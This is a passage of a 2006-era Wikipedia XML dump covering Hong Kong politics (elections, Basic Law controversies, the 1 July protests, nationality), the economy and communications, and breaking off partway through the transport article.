All citizens 18 years of age and older are eligible for the direct elections, as suffrage is universal for permanent residents living in the territory of Hong Kong for seven years. Meanwhile, eligibility for certain indirect elections limited to about 180 000 voters in twenty-eight [[functional constituencies]] (composed of business and professional sectors), and the Chief Executive is elected by an 800-member [[electoral college]] drawn mostly from the voters in the functional constituencies but also from religious organisations and municipal and central government bodies.

==Government structure==
:''Main article: [[Government of Hong Kong/temp|Government of Hong Kong]]''

==Major political issues in recent years==

===Right of Abode===
:''Main article: [[Right of abode issue, Hong Kong]]''

On [[29 January]], [[1999]], the Court of Final Appeal, the highest judicial authority in [[Hong Kong]] interpreted several Articles of the [[Hong Kong Basic Law|Basic Law]], in such a way that the Government estimated would allow 1.6 million [[Mainland China]] immigrants to enter Hong Kong within ten years. This caused widespread concerns among the public on the social and economical consequences.

While some in the legal sector advocated that the [[National People's Congress]] (NPC) should be asked to amend the part of the [[Hong Kong Basic Law|Basic Law]] to redress the problem, the HKSAR Government decided to seek an interpretation to, rather than an amendment of, the relevant Basic Law provisions from the [[Standing Committee of the National People's Congress]] (NPCSC). The NPCSC issued an interpretation in favour of the Government in June 1999.  While the full powers of NPCSC to interpret the Basic Law is provided for in the Basic Law itself, some critics argues this undermines [[judicial independence]].

===Basic Law Article 23===
:''Main article: [[Hong Kong Basic Law Article 23]]''

In 2003, the HKSAR Government proposed to implement Article 23 of the Basic Law by legislating against acts such as [[treason]], [[Subversion (political)|subversion]], [[secession]] and [[sedition]].  However, there are concerns that the legislation might infringe on human rights. Some are also worried that the legislation might introduce the mainland's concept of national security into the HKSAR via the proposed power of proscribing organisations that endanger the security of the state.  General dissatisfaction with the Tung administration led to the [[1 July]] protests in 2003.

After the mass protest, the [[Liberal Party (Hong Kong)|Liberal Party]], whose support is essential for the passage of the legislation schedule for [[9 July]] [[2003]], called for a delay in passing the legislation.  On [[6 July]], Tung Chee Hwa announced that the second reading of the proposed legislation was to be postponed after [[James Tien]] of the Liberal Party resigned from the Executive Council and would have his party members vote for a postponement.

===Universal suffrage===

Towards the end of [[2003]], the focus of political controversy shifted to the dispute of how subsequent [[Chief Executive of Hong Kong|Chief Executives]] get elected. The [[Hong Kong Basic Law Article 45|Basic Law's Article 45]] stipulates that the eventual goal is [[universal suffrage]]; when and how to achieve that goal, however, remains open but controversial. Under the Basic Law, electoral law could be amended to allow for this as soon as [[Hong Kong Chief Executive election, 2007|2007]] ([[Hong Kong Basic Law Annex One|Ann.1]], Sect.7). Arguments over this issue seemed to be responsible for a series of Mainland Chinese newspapers commentaries in February 2004 which stated that power over Hong Kong was only fit for &quot;patriots.&quot; 

The interpretation of the NPCSC to Annex I and II of the Basic Law, promulgated on [[April 6]] [[2004]], made it clear that the [[National People's Congress]]' support is required over proposals to amend the electoral system under Basic Law. On [[April 26]], [[2004]], the Standing Committee of National People's Congress denied the possibility of universal suffrage in [[2007]] (for the Chief Executive) and [[2008]] (for LegCo).

The NPCSC interpretation and decision were regarded as obstacles to the democratic development of Hong Kong by the democratic camp, and were criticized for lack of consultation with Hong Kong residents. On the other hand, the pro-government camp considered them to be in compliance with the legislative intent of the Basic Law and in line with the [[One country, two systems]] principle, and hoped that this would put an end to the controversies on development of political structure in Hong Kong.

===The [[1 July]] Protests===
&lt;!-- this section should be converted into another article, with a summary here. --&gt;
The first [[1 July]] protest took place in 2003 after the SARS outbreak also in response to the [[Article 23|anti-subversive legislation]] and general dissatisfaction towards the Hong Kong Government.  Fear of the loss of [[freedom of speech]] and other freedoms, as well as a general dissatisfaction against the Government, prompted a mass protest of hundreds of thousands of people on [[July 1]], 2003.  The planners originally wanted all four football courts in Victoria Park, but all courts were booked for a pro-Beijing festival and fair. The organizers originally predicted only 20,000 demonstrators would participate. The actual number ranged from 350,000 (as quoted by the police) to 700,000 (as quoted by protesters) and even 1,000,000 (quoted from a pro-[[Falun Gong]] agency), but the generally accepted figure is 500,000, which is just less than one tenth of the population. Their route stretched from Victoria Park football field through Causeway and Central to the Government's Central offices. Nonetheless, the large numbers meant that people were still starting the march as late as 10PM.

In dissatisfaction with the NPC's interpretation of Basic Law that universal suffrage was impossible for Chief Executive and Legislative Council elections in 2007 and 2008 respectively, and in fear of the loss of [[freedom of speech]] fueled by the heated patriotic debate and abrupt pause of popular radio programmes allegedly suppressed by Beijing authorities, another similar protest march occurred on the same day in [[2004]]. The peaceful march took the same route from the previous year from Victoria Park through Hennessy road and by Admiralty and Central MTR stations, and ended at the Government's Central Offices.  The numbers were estimated to be 530,000 by organisers, whilst the police gave numbers around 200,000.  The probable lower numbers were attributed to the fact that it was the hottest [[1 July]] ever recorded, at 34 degrees Celsius.  Another suggested reason is that a large number of people stayed up late until the early morning to watch the [[2004 European Football Championship|Euro 2004]] match between [[Portugal]] and the [[Netherlands]].  There was a noticeable fall in the general anger of the crowds when compared to the 2003 march, attributed to the fact that the Hong Kong economy was showing signs of recovery, and the dissolution of Article 23. 

However, there was much criticism as to the slogan for the [[2004]] protest by some Beijing bureaucrats and pro-Beijing political parties. The phrase &quot;Return power to the people&quot; was particularly inflammatory because it implied that power was taken away from the people, which in fact they never had. Some pro-democracy political leaders such as [[Lau Chin-shek]] had considered changing the phrase, but many criticized this move as it was seen to be satisfying Beijing. The organizers kept the phrase. The planners instructed the protesters to wear white, as a sign of democracy. Furthermore, unlike the previous year, the protest march started as soon as the football field venues were 80% full, causing the protest to start half hour earlier.  Learning from the previous year, planning was much more smooth, allowing more of the road to be open as well as starting earlier. Most of the protesters had finished their march by 7PM, ending earlier than the previous year.

In [[2005]] a follow up protest was attempted, however only about 21,000 poeple participated in the march, as the economy had come back since [[2003]]. That led some people to claim that many Hong Kong protesters from the first two marches care more about their economic livelihood than political reform.

===Resignation of Tung Chee-hwa and interpretation of Basic Law===
:''Main article: [[Tung Chee Hwa's resignation]]''
On [[March 12]], [[2005]], the Chief Executive, Tung Chee-hwa, resigned. Tung's position is now filled by [[Donald Tsang]], formerly the [[Chief Secretary for Administration]] — a popular bow tie-wearing career civil servant who was educated at Harvard and received a knighthood for his service during British colonial rule. Immediately after Tung's resignation, Tsang assumed the role of ''acting'' Chief Executive, which he stepped down from prior to putting himself forward as a candidate for the post of Chief Executive. Tsang was subsequently [[Hong Kong Chief Executive election, 2005|chosen]] to be the next Chief Executive, and his term will expire in 2007.

After Tung's resignation, there was dispute over the length of the term of the Chief Executive. To most local legal professionals, the length is obviously five years, under whatever circumstances. It should also be noted that the wordings in the Basic Law on the term of the Chief Executive is substantially different from the articles in the PRC constitution concerning the length of term of the president, premier, etc. Nonetheless, legal experts from the mainland said it is a convention a successor will only serve the remainder of the term if the position is vacant because the predecessor resigned. The [[Standing Committee of the National People's Congress|Standing Committee]] of the [[National People's Congress]] exercise its right to interpret the Basic Law, and affirm that the successor will only serve the remainder of the term. Many in Hong Kong saw this an adverse impact on the rule of law in the territory, as the Central People's Government interpret the Basic Law to serve its need, that is, a two-year probation for Tsang, instead of a five-year term.

===Political Reform Package===
On [[December 4]] [[2005]], [[December 2005 protest in Hong Kong|people in Hong Kong demonstrated]] against Donald Tsang's proposed reform package, before a vote on [[December 21]]. Turnout estimates ranged from 63,000 to 250,000.

The march has send a strong message to hesitant pro-democracy legislators to follow public opinion. The pro-government camp claims to have collected 700,000 signatures on a petition backing Mr. Tsang's reform package. This number, however, is unlikely to influence pro-democraty lawmakers. The Reform Package debate has seen the return of key political figure and former Chief Secretary Anson Chan, raising speculations of a possible run up for the 2007 Chief Executive election, though she dismissed having a personal interest in standing for the next election.

In an attempt to win last minutes votes from moderate pro-democracy lawmakers, the government amended its reform package on [[December 19]] by proposing a gradual cut in district councils appointed members. Their number would be reduced from 102 to 68 by 2008. It would then be decided in 2011 whether to scrap the remaining seats in 2012 or in 2016. 
The amendment has been seen as a reluctant response by Donald Tsang to give satisfaction to the democratic demands of the [[December 4]]  demonstrations. The move has been qualified &quot;Too little, too late&quot; by pan-democrates in general.

On [[December 21]], [[2005]],  the reform political reform package was vetoed by the pro-democracy lawmakers. Chief Secretary [[Rafael Hui]] openly criticised pro-democracy [[Martin Lee]] and [[Bishop Zen]] for blocking the democratic development in Hong Kong.

==Nationality and citizenship==

===Chinese nationality===
Before and after the [[handover]], the PRC recognises the ethnic Chinese people in Hong Kong as its [[Chinese nationality law|citizens]]. The PRC issues [[Home Return Permit]]s for them to enter the mainland China.

Most residents of Hong Kong are [[Chinese nationality law|PRC citizens]], by virtue of the [http://www.info.gov.hk/trans/jd/jd6.htm PRC Memorandum] to the [[Sino-British Joint Declaration]]. Hong Kong issues the [http://www.immd.gov.hk/ehtml/hktraveldoc_1.htm HKSAR passport] through its Immigration Department to all PRC citizens who are permanent residents of Hong Kong (permanent residency implies that they have the [[right of abode]] in Hong Kong)  . 

The HKSAR passport is not the same as the ordinary PRC passport (which is issued to residents of [[mainland China]]), and only permanent residents of Hong Kong who are PRC citizens are eligible to apply. To acquire the status of permanent resident one has to have &quot;ordinarily resided&quot; in Hong Kong for a period of seven years and adopted Hong Kong as their permanent home. Therefore, citizenships between residents of [[mainland China]] and residents Hong Kong are differentiated.

Interestingly, new immigrants from mainland China (still are Chinese Citizens) to Hong Kong are denied from getting an ordinary PRC passport from the mainland authorities, and are not eligible to apply for an HKSAR passport. They usually hold the [[Document of Identity]] (DI) as the travel document, until the permanent resident status is obtained after seven years of residence. 

[[Naturalisation]] as a PRC Citizen is common among ethnic Chinese people in Hong Kong who are not PRC Citizens. Some who have surrendered their [[Chinese nationality law|PRC citizenship]], usually those who have emigrated to foreign countries and have retained the permanent resident status, can apply for PRC citizenship at the Immigration Department. 

Naturalisation of persons of non-Chinese ethnicity is rare. A notable example is [[Michael Rowse]], a permanent resident of Hong Kong and the current Director-General of Investment Promotion of Hong Kong Government, naturalised and became a PRC citizen, for the offices of secretaries of the [[Government of Hong Kong|policy bureaux]] are only open to PRC citizens.

===British nationality===

''Main article: [[British nationality law and Hong Kong]]

Hong Kong residents who were born in Hong Kong in the colonial era (about 3.5 million) could acquire the British Dependent Territories citizenship (BDTC). HK residents who were not born in Hong Kong could also naturalize as a BDTC before the handover. To allow them to retain the status of British national while preventing a possible flood of immigrants from Hong Kong, the United Kingdom created a new nationality status, [[British National (Overseas)]] (BN(O)) that Hong Kong British Dependent Territories citizens could apply for.  Holders of the BN(O) passports, however, have no right of abode in the UK. See [[British nationality law and Hong Kong]] for details.

British National (Overseas) status was given effect by the [http://www.britishcitizen.info/HKBNO1986.pdf Hong Kong (British Nationality) Order 1986]. Article 4(1) of the Order provided that on and after [[1 July]] [[1987]], there would be a new form of British nationality, the holders of which would be known as British Nationals (Overseas). Article 4(2) of the Order provided that adults and minors who had a connection to Hong Kong were entitled to make an application to become British Nationals (Overseas) by ''registration''.

Becoming a British National (Overseas) was therefore not an automatic or involuntary process and indeed many eligible people who had the requisite connection with Hong Kong never applied to become British Nationals (Overseas). Acquisition of the new status had to be voluntary and therefore a conscious act. To make it involuntary or automatic would have been contrary to the assurances given to the Chinese government which led to the words &quot;eligible to&quot; being used in paragraph (a) of the [http://www.info.gov.hk/trans/jd/jd6.htm United Kingdom Memorandum] to the [[Sino-British Joint Declaration]]. The deadline for applications passed in 1997. Any person who failed to register as a British Nationals (Overseas) by [[1 July]] [[1997]] and would thereby be rendered stateless, automatically became a British Overseas citizen under [http://www.britishcitizen.info/StatelessReductionProvisions.pdf article 6(1) of the Hong Kong (British Nationality) Order 1986]. However, former BDTCs (also holding PRC citizenship) who failed to register as a BN(O) became solely PRC citizens on [[1 July]] [[1997]]. 

After the [[Tiananmen Square protests of 1989]], people urged the British Government to grant full British citizenship to all Hong Kong BDTCs — but this request was never accepted. However, it was considered necessary to devise a [[British Nationality Selection Scheme]] to enable some of the population to obtain British citizenship. The United Kingdom made provision to grant citizenship to 50,000 families whose presence was important to the future of Hong Kong under the [http://www.hmso.gov.uk/acts/acts1990/Ukpga_19900034_en_1.htm British Nationality Act (Hong Kong) 1990]. 

After reunification, all PRC citizens with the right of abode in Hong Kong  (holding Hong Kong permanent identity cards) are eligible to apply for the HKSAR passport issued by the Hong Kong Immigration Department. As the number of visa-free-visit destinations of the HKSAR passport surprassed the BN(O) passport and the application fee for the former is lower, the HKSAR passport is becoming more popular among residents of Hong Kong. However many Hong Kong people who are eligible for both HKSAR and BN(O) passports have applied for both passports, as they are both [[Chinese nationality law|PRC citizen]] and [[British National (Overseas)]].

Hong Kong residents who were not born in Hong Kong (and had not naturalised as a BDTC) could only apply for the [[Certificate of Identity]] (CI) from the colonial government as travel document. They are not issued (by neither the British nor Chinese authorities) after handover. Former CI holders holding PRC Citizenship (e.g. born in mainland China or Macau) and are permanent residents of Hong Kong are now eligible for the HKSAR passports, making the HKSAR passports more popular. 

Recent changes to India's Citizenship Act, 1955 (see [[Indian nationality law]]) will also allow some [http://www.britishcitizen.info/ children of Indian origin, born in Hong Kong after [[7 January]] [[2004]]], who have a solely BN(O) parent to automatically acquire British Overseas citizenship at birth under the provisions for reducing statelessness in [http://www.britishcitizen.info/StatelessReductionProvisions.pdf article 6(2) or 6(3) of the Hong Kong (British Nationality) Order 1986]. If they have acquired no other nationality after birth, they will be entitled to [http://www.publications.parliament.uk/pa/ld199900/ldhansrd/pdvn/lds04/text/41220w04.htm#column_WA123 subsequently register for full British citizenship] with right of abode in the UK.

See also: [[British nationality law and Hong Kong]], [[nationality]], [[citizenship]]

==Political parties and elections==
{{elect|List of political parties in Hong Kong|Elections in Hong Kong}}
{{main|Hong Kong legislative election, 2004}}
{{Hong Kong legislative election, 2004}}
The three main political parties are as follows. Each holds a significant portion of LegCo. Twelve members are registered as affiliated with the DAB, ten with the Liberal Party, nine with the Democratic Party and six with the Civic Party. There are also many unofficial party members: politicians who are members of political parties but have not registered such status in their election applications. There are two major blocs: the democratic camp and the pro-Beijing camp.

* [[Civic Party]] (ruled by Temporary Executive Committee)
* [[Democratic Alliance for the Betterment and Progress of Hong Kong]] (DAB) ([[Ma Lik]], chairman)
* [[Democratic Party (Hong Kong)|Democratic Party]] ([[Lee Wing Tat]], chairman)
* [[Liberal Party (Hong Kong)|Liberal Party]] ([[James Tien|James Tien Pei-chun]], chairman) 

''Others include:''
* [[Association for Democracy and People's Livelihood]] ([[Frederick Fung Kin-kee]], chairman) 
* [[Citizens Party (Hong Kong)|Citizens Party]] (Alex Chan Kai-chung, chairperson)
* [[The Frontier (Hong Kong)|The Frontier]] ([[Emily Lau Wai-hing]], convenor)
* [[Hong Kong Progressive Alliance]] ([[Ambrose Lau Hon-chuen]], chairman) (merged with the DAB [[16 February]] [[2005]])
* [[Hong Kong Frontline]] (Mr. Chong, chairman)

==Political pressure groups and leaders==
* [[Article 45 Concern Group]]
* [http://www.cgcc.org.hk Chinese General Chamber of Commerce]
* [http://www.cma.org.hk Chinese Manufacturers' Association of Hong Kong]
* [[Confederation of Trade Unions|Hong Kong Confederation of Trade Unions]] ([http://www.labour.org.hk/can_lau.html Lau Chin-shek], President; [http://www.labour.org.hk/can_lee.html Lee Cheuk-yan], General Secretary)
* [http://www.fhki.org.hk  Federation of Hong Kong Industries]
* [[Hong Kong Federation of Students]]
* [[Federation of Trade Unions|Hong Kong Federation of Trade Unions]]  ([http://www.info.gov.hk/ce/exco/eng/members.htm#ytcheng  Cheng Yiu-tong], President)
* [[The Hong Kong Alliance in Support of Patriotic Democratic Movements in China]] ([[Szeto Wah]], Chairman)
* Hong Kong and Kowloon Trade Union Council
* [http://www.chamber.org.hk  Hong Kong General Chamber of Commerce]
* [http://www.hkptu.org  Hong Kong Professional Teachers' Union]([http://www.cheungmankwong.org.hk  Cheung Man-kwong], President)
* Liberal Democratic Federation (Hu Fa-kuang, Chairman)

==See also==
{{Life in Hong Kong}}
* [[flag of Hong Kong]]
* [[foreign relations of Hong Kong]]
* [[One country, two systems]]
* [[District Council of Hong Kong]]
* [[Politics of the People's Republic of China]]

==External links==
* [http://www.info.gov.hk HKSAR Government web site]
* [http://www.info.gov.hk/ce/exco/eng/members.htm Executive Council]
* [http://www.legco.gov.hk Legislative Council]
* [http://www.olympicwatch.org/news.php?id=63 Olympic Watch (Committee for the 2008 Olympic Games in a Free and Democratic Country) on the status of Hong Kong]

{{Hong Kong parties}}
[[Category:Political parties in Hong Kong]]
[[Category:Politics of Hong Kong|Politics of Hong Kong]]

[[zh:香港政治]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Hong Kong</title>
    <id>13409</id>
    <revision>
      <id>38682790</id>
      <timestamp>2006-02-07T23:19:46Z</timestamp>
      <contributor>
        <username>Tommy kwan</username>
        <id>899073</id>
      </contributor>
      <text xml:space="preserve">{{Economy of Hong Kong}}

The '''economy of [[Hong Kong]]''' has often been cited by people such as [[Milton Friedman]] and the [[Cato Institute]] as an example of the benefits of [[laissez-faire capitalism]]. Many analysts believe that this characterization of the Hong Kong economy is not entirely accurate, as the Hong Kong government, both under British and Chinese rule, have occasionally intervened in the economy, for example by determining the amount of land to be sold and in maintaining the peg to the U.S. dollar.

After a slump caused by the regionwide [[Asian financial crisis]] that began in [[1997]], Hong Kong's economy has been on the rebound. Real [[Gross domestic product|GDP]] growth was 3.1% in 1999 and reached double digits in the first half of 2000. In 2004, real GDP grew by 8.1%, the second fastest since 1988.

After peaking at 6.3% in 1999, the unemployment rate eased back to 4.8% in mid-2000. As of October 2005, the unemployment rate was 5.3%, with an underemployment rate of 3.0%.

In August 1998, the government intervened in the stock, futures, and currency markets to fend off &quot;manipulators.&quot; The banking sector remains solid, and the government is committed to the U.S.-[[Hong Kong dollar]] link.

Hong Kong's [[Victoria harbour]] has facilitated rapid development of foreign trade. Hong Kong's principal trading partners include [[Mainland China]], the [[United States]], [[Japan]], [[Taiwan]], [[Germany]], [[Singapore]], and [[South Korea]].

Hong Kong enjoyed economic growth in the past because of its strong manufacturing sector, but in recent years the service sector has surpassed it in importance and now accounts for 85% of GDP. The major components of Hong Kong's service trade are shipping, civil aviation, tourism, and various financial services. Hong Kong has one of the world's most sophisticated telecommunications and information technology infrastructures and functions as a major regional and international financial and commercial center.

'''GDP:''' purchasing power parity - $226.8 billion (2005 est.) 
&lt;br&gt;'''GDP - real growth rate:''' 8.1% (2004) 
&lt;br&gt;'''GDP - per capita:''' purchasing power parity - $32,300 (2005 est.) 
&lt;br&gt;'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''  0.1%
&lt;br&gt;''industry:'' 13.4% 
&lt;br&gt;''services:'' 86.5% (2001 est.) 

'''Population below poverty line:''' NA%
&lt;br&gt;'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:'' NA%
&lt;br&gt;''highest 10%:'' NA%

'''Inflation rate (consumer prices):''' -1.6% (2001 est.) 

'''Labour force:''' 3.44 million (2001 est.)
&lt;br&gt;'''Labour force - by occupation:''' wholesale and retail trade, restaurants, and hotels 31%, financing, insurance, and real estate 13%, community and social services 11%, manufacturing 7%, transport and communications 6%, construction 2%, other 30% (2001 est.) 
&lt;br&gt;'''Unemployment rate:''' 5.2% (2001 est.)

'''Budget:'''
&lt;br&gt;''revenues:'' $22.9 billion 
&lt;br&gt;''expenditures:'' $24.6 billion, including capital expenditures of $465 million (FY00/01)

'''Foreign Currency Reserve Assets:''' $972.32 billion (December 2005 est.)

'''Total assets of the Exchange Fund''' including the Foreign Currency Reserve Assets: $1068.9 billion (December 2005)


==Primary industry==
Both [[agriculture]] and [[fisheries]] are the only [[primary industry]] in Hong Kong.
===Agriculture and fisheries===
:''Main articles: [[Agriculture in Hong Kong]] and [[Fisheries in Hong Kong]]''
Hong Kong has little [[arable land]] and virtually no natural resources, including water for agriculture. Agriculturally, it is less than 20% self-sufficient. Hong Kong used to be fishing villages, thus fishing is a key local industry.

'''Main produce:''' fresh vegetables; poultry, fish, pork

==Secondary industry==
[[Secondary industry]] in Hong Kong includes textiles, clothing, electronics, plastics, toys, and watches and clocks

'''Industrial production growth rate:''' -9% (2001 est.) 

'''Electricity - production:''' 29,449 GWh (2000) 
&lt;br&gt;'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:'' 99%
&lt;br&gt;''hydro:'' 1%
&lt;br&gt;''nuclear:'' 0%
&lt;br&gt;''other:'' 0% (2000)
&lt;br&gt;'''Electricity - consumption:''' 35,402 GWh (2000) 
&lt;br&gt;'''Electricity - exports:''' 1,181 GWh (2000) 
&lt;br&gt;'''Electricity - imports:''' 9,195 GWh (2000)

==Tertiary industry==
[[Tertiary industry]] in Hong Kong includes...
===Tourism===
:''See [[Tourism in Hong Kong]]''

==Trade and investment==
'''Exports:''' $191 billion f.o.b., including reexports (2001 est.) 
&lt;br&gt;'''Exports - [[commodities]]:''' clothing, textiles, footwear, electrical appliances, watches and clocks, toys, plastics, precious stones 
&lt;br&gt;'''Exports - partners:''' Mainland China 43%, Japan 12%, Taiwan 8%, US 7%, South Korea 5%, Singapore 3% (2000)

'''Imports:''' $58.8 billion (2001 est.) 
&lt;br&gt;'''Imports - commodities:''' foodstuffs, transport equipment, raw materials, semimanufactures, petroleum; a large share is reexported
&lt;br&gt;'''Imports - partners:''' Mainland China 41%, Japan 13%, US 8%, Taiwan 7%, South Korea 5%, Singapore 4% (1998)

'''Debt - external:''' $48.1 billion (1999)

'''Economic aid - recipient:''' none

==Currency==
:''Main article: [[Hong Kong dollar]]''
1 Hong Kong dollar (HK$) = 100 cents

'''Exchange rates:''' Hong Kong dollars per US dollar - 7.799 (April 2005), 7.798 (January 2002), 7.7994 (2001), 7.7918 (2000), 7.7589 (1999), 7.7462 (1998), 7.7425 (1997); note - the Hong Kong dollar is linked to the US dollar at a rate of about 7.8 Hong Kong dollars per US dollar 

'''Fiscal year:''' [[1 April]]&amp;ndash;[[31 March]]

==External links==
*[http://www.gov.hk Hong Kong Government]

==See also==
{{Life in Hong Kong}}
* [[Employment in Hong Kong]]
* [[Agriculture in Hong Kong]]
* [[Fisheries in Hong Kong]]
* [[List of companies in Hong Kong]]
* [[Hong Kong Stock Exchange]]
* [[Hong Kong dollar]]
* [[Hong Kong Monetary Authority]]
* [[Port of Hong Kong]]
* [[Mainland and Hong Kong Closer Economic Partnership Arrangement|Closer Economic Partnership Arrangement]]
* [[Individual Visit Scheme]]
* [[Economy of the People's Republic of China]]
* [[Economy of Asia]]
* [[East Asian Tigers]]
* [[Pearl_River_Delta#Ties_with_Hong_Kong|Ties with Pearl River Delta]]
* [[Four Dragons]]
{{APEC}}
{{WTO}}

[[Category:Economy of Hong Kong| ]]
[[Category:WTO members|Hong Kong]]
[[Category:Economies by country|Hong Kong]]

[[fr:Économie de Hong Kong]]
[[he:כלכלת הונג קונג]]
[[pt:Economia de Hong Kong]]
[[ru:Экономика Гонконга]]
[[zh:香港經濟]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Hong Kong</title>
    <id>13410</id>
    <revision>
      <id>41031607</id>
      <timestamp>2006-02-24T16:41:33Z</timestamp>
      <contributor>
        <ip>203.218.152.164</ip>
      </contributor>
      <comment>/* [[Telephone]] */</comment>
      <text xml:space="preserve">==[[Telephone]]==
'''Telephones - main lines in use:'''
3.820 million (2003)

'''Telephones - mobile cellular:'''
8.076 million (Nov 2004)

'''Telephone system:'''
modern facilities provide excellent domestic and international services
&lt;br&gt;''domestic:''
microwave radio relay links and extensive fiber-optic network
&lt;br&gt;''international:''
satellite earth stations - 3 Intelsat (1 Pacific Ocean and 2 Indian Ocean); coaxial cable to Guangzhou, China; access to 5 international submarine cables providing connections to [[ASEAN]] member nations, Japan, Taiwan, Australia, Middle East, and Western Europe

* '''Major fixed-line operators''': [[Pacific Century Cyber Works]]

* '''Major cellular operators''': [[3 (telecommunications)|3]], [[SmarTone-Vodafone]], Sunday, [[Peoples (telephone)|Peoples]], [[New World]], [[CSL (mobile phone)|CSL]]

* '''3G Licensees''': [[3 (telecommunications)|3]] (owned by Hutchison), CSL, SmarTone, Sunday (service provide by PCCW Mobile)

The telecommunication industry was deregulated in 1995. Competition in this sector is fierce. You can get 10 Mbit/s up and down unlimited [[VDSL]], telephone line rental, unlimited local calls, and 100 minutes of international calls for US$25/month. Telephone line rental and unlimited local calls is only US$3/month.

==[[Radio]]==
'''Radio broadcast stations:'''
AM 7, FM 13, shortwave 0 (1998)

'''Radios:'''
4.45 million (1997)

==[[Television]]==
'''Television broadcast stations:'''
4 (plus two repeaters) (1997)

'''Televisions:'''
3.29 million (2000)

*[[Phoenix TV]]

==[[Internet]]==
'''Internet Service Providers (ISPs):'''
188 (Dec 2004)

*Dial-up access accounts: 1.007 million (Nov 2004)
*Broadband Internet access accounts: 1.472 million (Nov 2004)

'''[[Country codes|Country code]] (Top-level domain):''' [[.hk]]

==See also==
* [[Media in Hong Kong]]
* [[Newspapers of Hong Kong]]
* [[Hong Kong]]
* [[Communications in China]]
* [[List of Chinese language television channels]]


[[Category:Communications by country|Hong Kong]]
[[Category:Communications in Hong Kong| ]]

[[ru:Телекоммуникации в Гонконге]]
[[zh:香港通訊]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Hong Kong</title>
    <id>13411</id>
    <revision>
      <id>41986771</id>
      <timestamp>2006-03-03T01:34:23Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>sp (3): aircrafts→aircraft, nothern→northern, whcih→which; Compact wikilinks (2)</comment>
      <text xml:space="preserve">[[Image:HongKong-Bus&amp;Minibus.png|thumb|300px|[[#Public light buses|Public light buses]] (left) and [[#Buses|double-decker buses]] (right) carry many passengers in Hong Kong everyday.]]
[[Hong Kong]] has a highly developed and sophisticated [[transport]] network, encompassing both [[public transport|public]] and private transport.  Over 80% of trips are on public transport.

==Octopus card payment system==
[[Image:OctopusFrontNew.jpg|thumb|left|250px|Obverse side of a standard adult card.]] 

:''Main article: [[Octopus card]]''

The [[Octopus card]] is a stored value [[smart card]] which can be used to pay fares on most trains, buses and ferries in Hong Kong. The majority of [[parking meter]]s and carparks will accept payment by Octopus card.  The Octopus card can also be used at various convenience stores.

On-loan Octopus cards can be purchased at [[MTR|Mass Transit Railway]] (MTR) and [[KCR|Kowloon Canton Railway]] (KCR) stations. This type of card is anonymous and hence no personal information and identification are required. If an owner loses the card, only the stored value of the card is lost. 

Octopus has become one of the world's most successful electronic cash systems today, with over 12 million Octopus cards in circulation (nearly twice that of Hong Kong's population) and over eight million transactions per day, 300 service vendors ([[as of January 2005]]). The operator of the Octopus system, [[Octopus Cards Limited]], is a joint venture between [[MTR Corporation]] and other transport companies in Hong Kong. The company has won a number of contracts to extend Octopus-style systems elsewhere such as the [[Netherlands]] and [[Changsha]], [[China]].

==Escalators and moving sidewalks==
[[image:Esculator.JPG|thumb|200px|[[Central-Mid-Levels escalator]].]]
:''Main article: [[Central-Mid-Levels escalator]]''

[[Hong Kong Island]] is dominated by steep, hilly terrain, which required the development of unusual methods of transport up and down the slopes.  In [[Central and Western district]] there is an extensive system of [[escalator|escalators]] and [[moving sidewalk|moving sidewalks]]. The [[Central-Mid-Levels escalator|Mid-levels Escalator]] is the longest outdoor covered escalator system in the world, operating downhill until 10 in the morning for [[commuter]]s going to work, and then operating uphill until midnight.

The Mid-levels Escalator consists of 20 escalators and 3 moving sidewalks. It is 800 meters long, and climbs 135 vertical meters. Total travel time is 20 minutes, but most people walk while the escalator moves to shorten the travel time. Due to its vertical climb, the same distance is equivalent to several miles of zigzagging roads if travelled by car. Daily traffic exceeds 35,000 people. It has been operating since [[1993]] and cost [[Hong Kong dollar|HK$]] 240 million ([[United States dollar|USD]] 30 million) to build.

== Railways ==
[[Image:MTR people Island line.jpg|thumb|250px|An MTR carriage during [[peak hours]].]]
[[Image:Hk tram jam.jpg|thumb|250px|A broken [[Hong Kong Tramways|tram]] may cause serious traffic congestion.]]
[[Image:peak tram.jpg|thumb|250px|right|The [[Peak Tram]].]]

:''Main article: [[Rail transport in Hong Kong]]''

Hong Kong has an efficient [[train]] network.  Public transport trains are operated by two companies, the [[MTR Corporation Limited]] (MTR) and the [[Kowloon-Canton Railway Corporation]] (KCRC).  The MTR operates the [[metro]] network within inner urban Hong Kong, [[Tsuen Wan New Town]], [[Tseung Kwan O|Tseung Kwan O New Town]], [[Tung Chung|North Lantau New Town]], [[Hong Kong Disneyland]] and the [[Hong Kong International Airport|Airport]], while the KCR network connects the northeastern and northwestern parts of the [[New Territories]] with the urban areas of Hong Kong.  The [[Hong Kong Tramways]] operates a tram service exclusively on northern [[Hong Kong Island]].  The [[Peak Tram]] connects [[Central, Hong Kong|Central]], Hong Kong's [[CBD]], with the [[Victoria Peak]].

There are four systems under the KCR, namely [[KCR East Rail|East Rail]], [[KCR West Rail|West Rail]], [[KCR Ma On Shan Rail|&lt;font color=brown&gt;Ma On Shan Rail&lt;/font&gt;]] and [[KCR Light Rail|Light Rail]].  There are several extensions planned or under construction, including the [[Lok Ma Chau Spur line]], the [[Kowloon Southern Link]], and the [[Sha Tin to Central Link]].  Note that the Light Rail possesses many characteristics of a [[tram]]way, including running on streets with other traffics (at grades) on some of its tracks.

There are altogether seven lines in the MTR system, with a total of 53 [[List of Hong Kong MTR stations|stations]]. The seven lines are [[Kwun Tong Line (MTR)|Kwun Tong Line]], [[Tsuen Wan Line (MTR)|Tsuen Wan Line]], [[Island Line (MTR)|Island Line]], [[Tseung Kwan O Line (MTR)|Tseung Kwan O Line]], [[Tung Chung Line (MTR)|Tung Chung Line]], the [[Airport Express (MTR)|Airport Express]] and the [[Disneyland Resort Line (MTR)|Disneyland Resort Line]]. The former 5 lines provide ordinary metro services, whereas the Airport Express provides a direct link from the [[Hong Kong International Airport]] into the city centre, while the Disneyland Resort Line exclusively takes passengers to [[Hong Kong Disneyland]].

All trains and most KCR/MTR metro stations feature air conditioning which allows the visitor intimidated by Hong Kong's tropical heat to literally shop and work all day without having to experience outside temperatures.

